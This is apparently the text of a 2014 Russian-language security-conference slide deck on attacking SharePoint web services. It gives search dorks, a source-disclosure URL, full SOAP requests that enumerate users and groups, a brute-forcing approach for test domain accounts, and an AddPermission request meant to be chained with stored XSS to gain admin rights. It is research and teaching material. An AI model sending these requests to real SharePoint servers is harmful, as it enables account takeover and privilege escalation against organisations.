AUG 30, 2014
АЛЬТЕРНАТИВНОЕ ИСПОЛЬЗОВАНИЕ ВЭБ
СЕРВИСОВ SHAREPOINT СО СТОРОНЫ
ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ
By George Lagoda
AUG 30, 2014
George Lagoda
PENTESTER
VULNERABILITY RESEARCHER
BUG HUNTER
WHITEHAT
DEFCON MOSCOW FOUNDER
3
ЧТО ПРЕПАРИРУЕМ ?
4
ОСНОВНЫЕ КОМПОНЕНТЫ SHAREPOINT
5
ВЕБ-ПРИЛОЖЕНИЯ для организации совместной работы
ФУНКЦИОНАЛЬНОСТЬ для создания веб-порталов
ПОИСК ИНФОРМАЦИИ в документах и информационных системах
УПРАВЛЕНИЕ РАБОЧИМИ ПРОЦЕССАМИ и содержимым масштаба предприятия
БИЗНЕС-АНАЛИЗ
6
Google	
  hacking	
  
ОБЩЕЕ ОПИСАНИЕ УЯЗВИМОСТЕЙ
ЗАКРЫТЫЕ ДЕТАЛИ
НЕБОЛЬШОЕ КОЛИЧЕСТВО ПУБЛИЧНЫХ ЭКСПЛОЙТОВ
УЯЗВИМОСТЬ
ЗАГРУЗКИ
ИСХОДНЫХ
КОДОВ ASPX
СТРАНИЦ
7
•  Работает только в SharePoint 2007
•  Необходимо знать адрес конкретной страницы
•  Основной интерес представляют страницы написанные
разработчиками сайта
	
  
h-p://www.example.com/_layouts/download.aspx?SourceUrl=/Pages/
Default.aspx&Source=h-p://www.example.com/Pages/
Default.aspx&FldUrl=	
  
	
  
	
  
ВЕБ-СЕРВИСЫ
SHAREPOINT
8
GOOGLE HACK : “INURL: _VTI_BIN/SPSDISCO.ASPX”
ТОНКИЙ
МОМЕНТ
9
/_vG_bin/	
  
/_vG_bin/	
  
СТАРЫЙ СПОСОБ
ПЕРЕЧИСЛЕНИЯ
ПОЛЬЗОВАТЕЛЕЙ
10
HTTPS://HOST/_LAYOUTS/USERDISP.ASPX?ID=1
НЕДОСТАТКИ
СТАРОГО
СПОСОБА
11
•  Необходимо инкрементировать ID
•  Не всегда есть доступ к просмотру
•  Можно попасть в группу
•  Самый большой ID не известен
•  NTLM или Kerberos авторизация при автоматизации
•  Парсинг данных при автоматизации
•  Что делать если их “over 9000”?????
ОТ ТЕОРИИ К
ПРАКТИКЕ
12
POST /sites/testsite1/_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetUserCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
12
1313
8000+
пользователей
одним запросом
1414
GREP “TEST”
15
МНОГО ДОМЕНОВ, МНОГО ПОЛЬЗОВАТЕЛЕЙ, МНОГО ВОЗМОЖНОСТЕЙ
15
DUMMY BRUTE
LEADS TO PWN
16
•  Захвачена тестовая доменная учетная запись
•  Повышена сложность обнаружения злоумышленника
•  Разные тестовые учетные записи могут содержать разные
права доступа к сайту
•  Приведен пример из боевого проекта, получен аккаунт из
домена крупного российского банка
16
DEER HUNTING
17
Для поиска интересного аккаунта помимо тестового
перечисляем список групп и узнаем в какой группе
находится наша “жертва”
17
ПОЛУЧАЕМ
СПИСОК ГРУПП
18
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromSite xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/" />
</soap:Body>
</soap:Envelope>
18
список групп на разных сайтах
в рамках одного домена может
различаться
1919
ИНТЕРЕСЕН ЛИ
НАМ АККАУНТ?
20
POST /_vti_bin/UserGroup.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetGroupCollectionFromUser xmlns="http://
schemas.microsoft.com/sharepoint/soap/directory/">
<userLoginName>SHAREPOINTsystem</userLoginName>
</GetGroupCollectionFromUser>
</soap:Body>
</soap:Envelope> 20
2121
НАХОДИШЬ ХРАНИМЫЕ XSS НА ЛЮБОМ САЙТЕ?
ИНТЕРЕСНО ЛИ КРАСТЬ АДМИНСКИЕ КУКИ?
МОЖЕМ ЛИ МЫ ИХ УКРАСТЬ?
ЗАЧЕМ КРАСТЬ СЕССИЮ АДМИНА, КОГДА
МОЖНО СТАТЬ АДМИНОМ?
22
/_vti_bin/
Permissions.asmx
23
Сайт + хранимая XSS + XHR с одним из этих методов +
CORS нам не мешает = разрешения админа )
23
ИГРАЕМ С
РАЗРЕШЕНИЯМИ
24
POST /_vti_bin/Permissions.asmx HTTP/1.1
Host: host
[…]
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://
schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<AddPermission xmlns="http://schemas.microsoft.com/sharepoint/soap/
directory/">
<objectName>testsite1</objectName>
<objectType>web</objectType>
<permissionIdentifier>i:0#.w|ra1d3ntest3</permissionIdentifier>
<permissionType>User</permissionType>
<permissionMask>-1</permissionMask>
</AddPermission>
</soap:Body>
</soap:Envelope>
24
THAT’S ALL FOLKS ;]
By George Lagoda
@rox41Id3n

7.2. Alternative sharepoint hacking